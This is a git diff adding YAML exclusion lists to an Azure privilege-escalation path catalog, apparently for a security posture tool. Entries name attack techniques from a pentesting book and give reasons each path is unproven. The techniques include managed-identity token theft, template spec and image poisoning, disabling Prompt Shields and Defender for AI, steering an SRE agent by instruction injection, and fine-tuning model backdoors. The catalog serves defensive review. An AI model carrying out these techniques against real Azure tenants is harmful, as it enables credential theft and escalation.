azure-hdinsight-get-gateway-settings + reason: 'NEEDS SCHEMA: getGatewaySettings may disclose a gateway credential, but cluster reachability, usable node login, an exact captured node managed-identity token, and new action are unverified.' + +# Template spec poisoning without an exact future deployer and observed gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: 171e422 + technique: Overwrite a template spec version consumed by a more privileged deployer + original_id: azure-arm-templatespec-version-poisoning + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + technique: Overwrite a template spec version consumed by a managed-identity deployer + original_id: azure-arm-templatespec-version-poisoning-managed-identity + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + technique: Overwrite a template spec version consumed by a more privileged user + original_id: azure-arm-templatespec-version-poisoning-user + reason: 'NEEDS SCHEMA: templateSpec version write permission does not identify a future deploying user, service principal, or managed identity, prove that principal actually deployed the poisoned version, or show a newly captured credential or permission. The azure_deployer_of_pivot selector has no collected exact deployer binding.' + +# AVD session host identity without observed RemoteApp execution and IMDS token proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#fleet-rce-via-applicationgroupsapplicationswrite-lolbin-commandlinearguments + source_revision: 658a097d5c + technique: Repoint a published AVD RemoteApp to run attacker commands on session hosts + original_id: azure-avd-application-write-session-host-rce + reason: 'NEEDS SCHEMA: Application Group write and session-host association do not prove an assigned user launched the modified RemoteApp, that its code ran on the exact host, that IMDS was reachable, or that a token for the host managed identity was obtained. The historical row had confidence unknown.' + +# Exact execution, consumer binding, and token-delivery proof required before activation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--node-type-create-or-modify + source_revision: a66f094ede + technique: Attach a user-assigned identity to a managed-cluster node type + original_id: azure-servicefabric-managed-nodetype-user-assigned-identity + reason: 'NEEDS SCHEMA: Node-type identity attachment alone does not give the source code execution on that node or prove an exact IMDS token and newly allowed action were obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 171e422 + technique: Create a guest configuration assignment on an Azure VM + original_id: azure-guestconfiguration-assignment-write + reason: 'NEEDS SCHEMA: Assignment write alone does not prove the exact VM has the required extension and system identity, is running, accepted the package, executed it, and exposed the named managed identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#spark-pool-poisoning-via-workspacesbigdatapoolswrite + source_revision: 171e422 + technique: Poison a Synapse Spark pool configuration to run code as the workspace identity + original_id: azure-synapse-bigdatapools-write-spark-poisoning + reason: 'NEEDS SCHEMA: Spark pool write alone does not establish a later run of attacker code as the exact workspace identity or successful access to its token/new permission.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#managed-identity-token-theft-with-microsoftsearchsearchservicesskillsetswrite + source_revision: a66f094ede + technique: Custom Web API skill sends a Search managed-identity token to the source + original_id: azure-ai-search-skillset-write-identity-token + reason: 'NEEDS SCHEMA: Search write or admin-key authority alone does not prove a skill/indexer or debug session actually executed, delivered a usable token for an exact accepted audience, and enabled a newly permitted action for the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#service-resource-tamper-with-microsoftsearchsearchserviceswrite + source_revision: a66f094ede + technique: Attach a user-assigned identity to a Search service and have a custom skill send its token to the source + original_id: azure-ai-search-uami-attach-skillset-token + reason: 'NEEDS SCHEMA: Attaching an assignable UAMI and modifying Search resources does not prove a skill executed, delivered its usable audience-bound token, and enabled a new action for that exact identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicegatewayslistdebugcredentialsaction--servicegatewayslisttraceaction--live-requestresponse-wiretap + source_revision: 658a097d5c + technique: Capture backend managed-identity tokens from APIM gateway request traces + original_id: azure-apim-gateway-trace-managed-identity-token + reason: 'NEEDS SCHEMA: Debug/trace permissions alone do not prove a particular existing policy used the named MI, a traced request ran, the Authorization header was unmasked, or a usable audience-bound token was received.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceloggerswrite--servicediagnosticswrite--persistent-traffic-exfil-to-attacker-event-hub + source_revision: 658a097d5c + technique: Ship backend request headers to an attacker logger through APIM diagnostics + original_id: azure-apim-diagnostics-logger-managed-identity-token + reason: 'NEEDS SCHEMA: Logger and diagnostics writes alone do not prove the named MI was used by the exact API policy, matching traffic occurred, the backend Authorization header was captured, or a usable token was received.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriespushwrite-microsoftcontainerinstancecontainergroupsrestartaction + source_revision: 658a097d5c + technique: Overwrite a registry image and restart the consuming container group + original_id: azure-acr-push-restart-aci-consumer + reason: 'NEEDS SCHEMA: Registry push and a container-group restart do not prove the exact pushed image digest is consumed by that group, attacker code executed, or its attached identity was reached.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + source_revision: a66f094ede + technique: Overwrite a registry image and restart the consuming Container App revision + original_id: azure-acr-push-restart-containerapp-consumer + reason: 'NEEDS SCHEMA: Mutable tag overwrite does not establish an exact registry-image-to-container-app binding, new revision execution, or identity token access.' + +# Authorization outcome and ABAC scope must be exact before claiming Owner. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroleassignmentswrite + source_revision: 171e422 + technique: Create Azure role assignments over a scope + original_id: azure-authorization-roleassignments-write + reason: 'NEEDS SCHEMA: roleAssignments/write may be ABAC-limited to specific roles and principal types. Before claiming Owner, validate the exact source assignment condition, target scope, assignee, successful Owner grant, and newly effective permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroledefinitionswrite + source_revision: 171e422 + technique: Modify a custom role definition already assigned to the source + original_id: azure-authorization-roledefinitions-write-assigned-role + reason: 'NEEDS SCHEMA: roleDefinitions/write at one scope does not prove write authority over every custom-role AssignableScope, successful role update, or a new effective action through an exact existing source assignment.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#abac-constrained-delegation-bypass-via-custom-role-indirection + source_revision: 171e422 + technique: Escape a denylist-constrained role-assignment delegation via a new custom role + original_id: azure-authorization-abac-denylist-bypass-custom-role + reason: 'NEEDS SCHEMA: roleAssignments/write plus roleDefinitions/write cannot prove a denylist-only delegation, matching scope, accepted custom role creation/assignment, and subsequent Owner grant without typed condition and outcome proof.' + +# Read or invocation authority without exact usable token or executed workload proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountslistkeysaction + source_revision: 171e422 + technique: Register a rogue Hybrid Runbook Worker with the Automation account agent keys + original_id: azure-automation-listkeys-rogue-hybrid-worker + reason: 'NEEDS SCHEMA: Automation account key access alone does not prove a rogue worker registered, received an exact job, executed under its identity, or exposed a usable token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionstokenread + source_revision: 171e422 + technique: Obtain a Functions runtime admin token + original_id: azure-functions-admin-token-read + reason: 'NEEDS SCHEMA: A function admin token enables invocation, but no exact function behavior, managed-identity token disclosure, target identity, or newly allowed action is verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction + source_revision: a66f094ede + technique: Read app settings exposing the content storage connection string + original_id: azure-functions-config-list-storage-key + reason: 'NEEDS SCHEMA: Config-list storage credentials alone do not prove the exact content-storage binding, overwrite of executable code, successful function execution, and usable named managed-identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + source_revision: 171e422 + technique: Dump the worker process memory through the ARM processes surface + original_id: azure-appservice-process-dump-cached-tokens + reason: 'NEEDS SCHEMA: Process-dump permission does not prove the exact process contains a live usable managed-identity token, that the dump was obtained, or which identity and newly allowed action it authenticates.' + +# Consumer/trigger execution needs an exact typed identity outcome. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + technique: Instruct or reconfigure an SRE Agent to act with its managed identity + original_id: azure-sre-agent-drive-managed-identity + reason: 'NEEDS SCHEMA: Agent writes alone do not prove exact tool policy/run mode, approved or autonomous tool invocation, or a newly authorized action by the named MI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + technique: Rebind an SRE Agent to a user-assigned identity and steer it + original_id: azure-sre-agent-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: UAMI attachment does not prove the agent can or did perform an exact newly authorized action with that identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfetchmcpservercredentialsaction + source_revision: 171e422 + technique: Fetch a session pool MCP API key and execute code in sessions + original_id: azure-containerapp-sessionpool-mcp-credentials + reason: 'NEEDS SCHEMA: MCP credential fetch does not prove identity exposure is enabled for the exact session pool or that the caller acquired a usable identity token.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsexecutionsaction + source_revision: 171e422 + technique: Execute code in a dynamic session + original_id: azure-containerapp-sessionpool-executions + reason: 'NEEDS SCHEMA: Session execution grant does not prove the exact session exposes the attached managed identity or a usable token/new action was obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationpolicydefinitionswrite + source_revision: 171e422 + technique: Rewrite an assigned deployIfNotExists/modify policy so its remediation runs attacker-chosen deployments + original_id: azure-policy-definition-write-remediation-identity + reason: 'NEEDS SCHEMA: Policy definition write alone does not prove an exact definition-to-assignment-to-MI join, remediation execution, or an observed newly authorized action as that MI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#abuse-jobscheduleswrite-to-run-an-existing-privileged-runbook + source_revision: 171e422 + technique: Trigger an existing published runbook with attacker-chosen parameters + original_id: azure-automation-trigger-existing-runbook + reason: 'NEEDS SCHEMA: Existing runbook behavior and exact accepted parameters/job execution are uncollected; a trigger grant alone cannot reach the attached managed identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountssourcecontrolswrite-microsoftautomationautomationaccountssourcecontrolsread + source_revision: a66f094ede + technique: Configure source control to import attacker runbooks and run them + original_id: azure-automation-source-control-import + reason: 'NEEDS SCHEMA: Source-control import does not prove a bound repository, accepted malicious runbook, later trigger, or execution under the exact account identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#poison-a-classic-powershell-dependency-with-moduleswrite + source_revision: 171e422 + technique: Replace a runbook module or package imported by existing runbooks + original_id: azure-automation-poison-module-or-package + reason: 'NEEDS SCHEMA: Module/package write does not prove an exact runbook imports that version and executes it under the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsvariableswrite + source_revision: 171e422 + technique: Poison Automation variables consumed by existing runbooks + original_id: azure-automation-variable-poisoning + reason: 'NEEDS SCHEMA: Variable write does not prove an exact runbook consumes the value, executes attacker-controlled code, or exposes the account identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#claim--claimanyvm--seize-ownership-of-a-pooled-vm + source_revision: 171e422 + technique: Claim a pooled lab VM + original_id: azure-devtestlabs-claim-vm + reason: 'NEEDS SCHEMA: Lab claim permission does not prove a particular VM is unclaimed/claimable, source login or artifact access, and exact managed-identity token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsapplicationsversionswrite--activateaction--application-package-supply-chain-poisoning + source_revision: 171e422 + technique: Replace a Batch application package version used by pools + original_id: azure-batch-application-package-poisoning + reason: 'NEEDS SCHEMA: Package activation does not prove a precise pool/task references and executes the modified version or reaches its UAMI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#ade-deployment-identity-template-injection-marquee-privesc + source_revision: 171e422 + technique: Deploy an ADE environment whose template runs with the project environment type identity + original_id: azure-devcenter-ade-deployment-identity + reason: 'NEEDS SCHEMA: Environment deployment permission does not prove attacker control of the selected ADE template, successful deployment, or execution under its deployment identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center-environment-identity-deployment + source_revision: 658a097d5c + technique: Bind a user-assigned identity to a project environment type and deploy with it + original_id: azure-devcenter-environment-type-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: Identity assignment and environment creation rights do not prove exact dev-center attachment, enabled target, attacker-controlled ADE template, or a successful run as that UAMI.' + +# Key, run, and node-link claims need exact credential or identity proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#application-deploy--node-rce + source_revision: 171e422 + technique: Deploy a Service Fabric application to run code on cluster nodes + original_id: azure-servicefabric-application-deploy-node-identity + reason: 'NEEDS SCHEMA: The service-fabric node-VMSS link is explicitly uncollected, so application deployment cannot resolve an exact node managed identity or prove its token was exposed.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pipelineswrite--pipelinescreaterunaction--steal-the-factory-managed-identity-token + source_revision: 171e422 + technique: Replace and run a Data Factory pipeline that authenticates with the factory identity + original_id: azure-datafactory-pipeline-write-and-run + reason: 'NEEDS SCHEMA: Pipeline write and run do not prove which exact factory credential object or attached UAMI the run used and what usable token/new action the source obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#redirect-factory-output-through-microsoftdatafactoryfactoriesglobalparameterswrite + source_revision: 171e422 + technique: Redirect an existing pipeline's identity-authenticated call through parameters + original_id: azure-datafactory-parameter-redirection + reason: 'NEEDS SCHEMA: Parameter redirection needs an exact identity-authenticated pipeline, accepted attacker URL parameter, subsequent trigger, and observed credential/new-action outcome.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#rce-as-msi-via-a-debug-sandbox-run-no-pipelineswrite + source_revision: a66f094ede + technique: Run a debug sandbox pipeline that authenticates with the factory identity + original_id: azure-datafactory-debug-sandbox-run + reason: 'NEEDS SCHEMA: Debug execution does not prove exact linked-service credential/UAMI binding, supported activity sandbox, and a usable token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostlistkeysaction-and-microsoftwebsitesslotshostlistkeysaction + source_revision: 171e422 + technique: List Function App host keys (master key) + original_id: azure-functions-host-listkeys-master-key + reason: 'NEEDS SCHEMA: Host master key read alone does not prove control of function code, execution as the named app identity, or a usable MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionsmasterkeyread + source_revision: 171e422 + technique: Read the Function App master key + original_id: azure-functions-masterkey-read + reason: 'NEEDS SCHEMA: Master-key read alone does not prove an exact executable function or source ability to obtain a usable managed-identity token.' + +# Azure ML execution and chosen identity need typed proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#workspace-createmodify-as-an-identity-staging-primitive + source_revision: a66f094ede + technique: Attach a user-assigned identity to an Azure ML workspace and run a serverless job as it + original_id: azure-ml-workspace-uami-attach-serverless-job + reason: 'NEEDS SCHEMA: Workspace UAMI attachment does not prove serverless availability, exact job-to-primary-UAMI selection, successful run, and usable target token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 171e422 + technique: Modify or create Azure ML compute that runs with an existing compute identity + original_id: azure-ml-compute-write-existing-identity + reason: 'NEEDS SCHEMA: Compute write alone does not prove accepted code/config change to the exact existing instance, successful execution, and access to its attached identity token/new action.' + +# VM access does not prove guest session or identity token. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginaction + source_revision: 171e422 + technique: Sign in to a VM with Entra ID (user or admin) and use its IMDS identities + original_id: azure-vm-entra-login + reason: 'NEEDS SCHEMA: Entra VM login assignment does not prove installed login extension, reachable VM, Conditional Access acceptance, successful guest session, and exact MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftserialconsoleserialportsconnectaction + source_revision: 171e422 + technique: Use Serial Console with a reboot to take over the guest OS + original_id: azure-vm-serial-console-connect + reason: 'NEEDS SCHEMA: Restart and serial-console access do not prove a usable guest recovery/login route, exact VM code execution, or acquisition of its managed-identity token/new action.' + +# HDInsight and DevOps pool execution and identity receipt unproven. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#reset-gateway-credentials-to-take-over-the-cluster + source_revision: 171e422 + technique: Reset the HDInsight gateway (Ambari) credentials + original_id: azure-hdinsight-update-gateway-settings + reason: 'NEEDS SCHEMA: Gateway setting update does not prove a reachable endpoint, node-certificate disclosure, guest escalation, or named MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#arbitrary-root-rce-via-script-actions + source_revision: 171e422 + technique: Run a script action as root on HDInsight nodes + original_id: azure-hdinsight-execute-script-actions + reason: 'NEEDS SCHEMA: Script-action permission alone does not prove execution on the exact node, usable node identity token, or newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#root-rce--persistence-via-hdinsight-applications + source_revision: 171e422 + technique: Install an HDInsight application whose install script runs as root + original_id: azure-hdinsight-applications-write + reason: 'NEEDS SCHEMA: Application write does not prove accepted deployment, execution on the identity-bearing node, or token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#seed-root-code--attach-an-identity-via-cluster-create-or-update + source_revision: 171e422 + technique: Create an HDInsight cluster with a user-assigned identity and root script actions + original_id: azure-hdinsight-create-with-user-assigned-identity + reason: 'NEEDS SCHEMA: Creating a cluster with an assignable UAMI does not prove source access to a node/session, identity token, or newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + source_revision: 171e422 + technique: Repoint the agent image or VM configuration of a pool that carries identities + original_id: azure-devopspool-write-existing-identity + reason: 'NEEDS SCHEMA: Pool write does not prove an accepted attacker-controlled job executed on the existing pool or reached its named identity.' + +# Function content store target binding uncollected. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#storage-backed-deployment-content + source_revision: 171e422 + technique: Write access to a Function App's backing content storage + original_id: azure-functions-content-storage-write + reason: 'NEEDS SCHEMA: The exact Function App content-storage resource binding is not collected; storage write alone cannot prove code overwrite, accepted execution, or access to the app managed identity.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml new file mode 100644 index 0000000000..478dcacaf8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml @@ -0,0 +1,1879 @@ +# Azure permission-heading verification at book revision a66f094ede. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsopenaifine-tuneswrite--model-backdoor--poison-via-fine-tuning + technique: Microsoft.CognitiveServices/accounts/OpenAI/fine-tunes/write — model backdoor / poison via fine-tuning + source_revision: a66f094ede + reason: Fine-tuning and deploying poisoned model weights changes downstream model responses and costs; it does not by itself grant + the Azure/Entra identity of the consuming application. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#key-independent-persistence-with-microsoftcacheredisaccesspolicyassignmentswrite + technique: Key-independent persistence with Microsoft.Cache/redis/accessPolicyAssignments/write + source_revision: a66f094ede + reason: This grants an attacker-controlled Entra identity a Redis data-plane policy, not the permissions of a different Azure/Entra + principal; Redis data access is outside this principal-to-principal catalog. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#continuous-exfil--persistence-with-microsoftcacheredislinkedserverswrite + technique: Continuous exfil + persistence with Microsoft.Cache/redis/linkedServers/write + source_revision: a66f094ede + reason: Geo-replication copies cached data to another Premium cache; it gives data exfiltration and persistence, not another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#server-dns-alias-hijack-microsoftsqlserversdnsaliasesacquireaction + technique: Server DNS alias hijack (Microsoft.Sql/servers/dnsAliases/acquire/action) + source_revision: a66f094ede + reason: Moving a SQL DNS alias can harvest SQL-auth credentials when clients reconnect, but that victim interaction and credential + content are not a deterministic Azure/Entra identity edge. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#tde-protector-repoint-kill-switch-microsoftsqlserversencryptionprotectorwrite + technique: TDE-protector repoint kill-switch (Microsoft.Sql/servers/encryptionProtector/write) + source_revision: a66f094ede + reason: Repointing the TDE key creates a database outage or ransom lever when the key is revoked; it does not grant another principal's + permissions. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsraipolicieswrite--deploymentswrite--disable-content-filters--prompt-injection-shields + technique: Microsoft.CognitiveServices/accounts/raiPolicies/write (+ deployments/write) — disable content filters / prompt-injection + shields + source_revision: a66f094ede + reason: Author/modify an RAI policy that lowers or disables content filters and — critically — Prompt Shields / jailbreak and indirect-prompt-injection + detection, then attach it to a deployment. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdefenderforaisettingswrite--disable-defender-for-ai-detection-evasion + technique: Microsoft.CognitiveServices/accounts/defenderForAISettings/write — disable Defender for AI (detection evasion) + source_revision: a66f094ede + reason: Turn off Microsoft Defender for Cloud's threat protection for the AI account, disabling prompt-injection/jailbreak/anomalous-access + alerts before running other techniques — this blinds the primary detection. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdeploymentswrite--deploy-a-model-cost-abuse--inference-surface-creation + technique: Microsoft.CognitiveServices/accounts/deployments/write — deploy a model (cost abuse + inference-surface creation) + source_revision: a66f094ede + reason: Create a new model deployment on the victim account. The section does not establish control of another Azure/Entra principal + from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobsread + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + source_revision: a66f094ede + reason: Blob read can disclose backups or configuration files; credentials inside are content-dependent and no specific Azure/Entra + principal is established. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobswrite + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write + source_revision: a66f094ede + reason: Blob poisoning that runs as a privileged consumer is modelled by azure-storage-blob-poisoning-consumer and the Function App + content-storage entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-bot-service-post-exploitation.md#microsofthealthbothealthbotsadminconversationlogsexportaction + technique: Microsoft.HealthBot/healthBots/Admin/ConversationLogs/Export/Action + source_revision: a66f094ede + reason: 'bulk sensitive-data disclosure: export one Healthcare Agent''s historical conversation logs as CSV containing every user + utterance, every bot response, conversation identifiers, and configured user. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdblocationsrestorabledatabaseaccountsrestoreaction-restore-to-attacker-account-exfil + technique: Microsoft.DocumentDB/locations/restorableDatabaseAccounts/restore/action (restore-to-attacker-account exfil) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsdatatransferjobswrite-server-side-copy-out + technique: Microsoft.DocumentDB/databaseAccounts/dataTransferJobs/write (server-side copy-out) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsread--microsoftdocumentdbdatabaseaccountswrite + technique: Microsoft.DocumentDB/databaseAccounts/read && Microsoft.DocumentDB/databaseAccounts/write + source_revision: a66f094ede + reason: 'Full control of the account resource: reading config exposes regions/consistency/network rules; writing lets you relax the + IP firewall (ipRules) or disable disableKeyBasedMetadataWriteAccess /. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersread--microsoftdocumentdbdatabaseaccountssqldatabasescontainerswrite + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write + source_revision: a66f094ede + reason: Alter container definitions (indexing, TTL, throughput, partition key via recreate). The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabaseswrite--microsoftdocumentdbdatabaseaccountssqldatabasesread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read + source_revision: a66f094ede + reason: Create or delete SQL databases in the account. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersuserdefinedfunctionsread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredprocedureswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainersstoredproceduresread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggerswrite--microsoftdocumentdbdatabaseaccountssqldatabasescontainerstriggersread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read + source_revision: a66f094ede + reason: The code runs inside the Cosmos data engine against documents, with no Azure managed-identity token or other principal inherited. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionsread--microsoftdocumentdbdatabaseaccountsmongodbdatabasescollectionswrite + technique: Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write + source_revision: a66f094ede + reason: Read and alter collection definitions (indexes, shard key, throughput) in Mongo-API databases; replacing/recreating a collection + drops its documents → destructive data loss. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsmongodbdatabaseswrite--microsoftdocumentdbdatabaseaccountsmongodbdatabasesread + technique: 